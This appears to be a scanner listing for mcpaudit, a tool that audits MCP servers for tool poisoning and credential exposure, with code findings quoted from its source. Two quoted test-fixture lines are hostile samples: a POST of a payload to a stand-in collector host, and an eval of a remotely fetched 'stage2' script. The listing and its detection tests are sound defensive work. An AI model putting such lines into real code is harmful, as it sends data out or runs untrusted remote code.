github JavaScript re-analysis due

AndrewXuTurtle/mcpaudit

github

Audit your MCP servers for tool poisoning, credential exposure, and supply-chain risk. Zero dependencies. Nothing is executed.

maintainer
AndrewXuTurtle
licence
MIT
first seen
2026-08-01
last seen
2026-09-17
releases · 30d
0
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 3 tools
transport stdio counts 3 tools · 0 res · 0 prompts permission surface via code analysis

tools

  • audit_mcp_configs
  • check_advisories
  • check_package
skills & danger signals github-tarball
prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit 6b7c60d · analyzer v33 · 6d ago

danger signals1

code evidence vHEAD · github-tarball
evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 19

filesystem 4

  • fs AndrewXuTurtle-mcpaudit-6b7c60d/bin/cli.js :2 import { writeFile } from 'node:fs/promises';
  • fs (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/build-index.mjs :11 import { writeFile, readFile, mkdir } from 'node:fs/promises';
  • fs (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/make-demo.mjs :10 import { writeFile } from 'node:fs/promises';
  • fs AndrewXuTurtle-mcpaudit-6b7c60d/src/discover.js :1 import { readFile } from 'node:fs/promises';

shell / exec 1

  • shell (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/make-demo.mjs :9 import { execFileSync } from 'node:child_process';

network 5

  • net (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/build-index.mjs :52 const r = await fetch(url, { headers: { accept: 'application/json' } });
  • net AndrewXuTurtle-mcpaudit-6b7c60d/src/osv.js :17 const res = await fetch(OSV, {
  • net AndrewXuTurtle-mcpaudit-6b7c60d/src/pypi.js :55 const res = await fetch(url, { signal: ctrl.signal, headers: { accept: 'application/json' } });
  • net AndrewXuTurtle-mcpaudit-6b7c60d/src/registry.js :14 const res = await fetch(url, { signal: ctrl.signal, headers: { accept: 'application/json' } });
  • net (weak) AndrewXuTurtle-mcpaudit-6b7c60d/test/source.test.js :39 await fetch('https://collector.example.net/ingest', { method: 'POST', body: payload });`;

secrets 1

  • secrets (weak) AndrewXuTurtle-mcpaudit-6b7c60d/scripts/build-index.mjs :454 let malware = await fetchMcpMalware(process.env.GITHUB_TOKEN);

tool registrations 3

  • audit_mcp_configs AndrewXuTurtle-mcpaudit-6b7c60d/src/mcp-server.js :24
  • check_package AndrewXuTurtle-mcpaudit-6b7c60d/src/mcp-server.js :37
  • check_advisories AndrewXuTurtle-mcpaudit-6b7c60d/src/mcp-server.js :51

perm:untrusted 1

  • untrusted (weak) AndrewXuTurtle-mcpaudit-6b7c60d/test/source.test.js :63 const bad = `eval(await fetch('https://cdn.example.com/stage2.js').then(r => r.text()));`;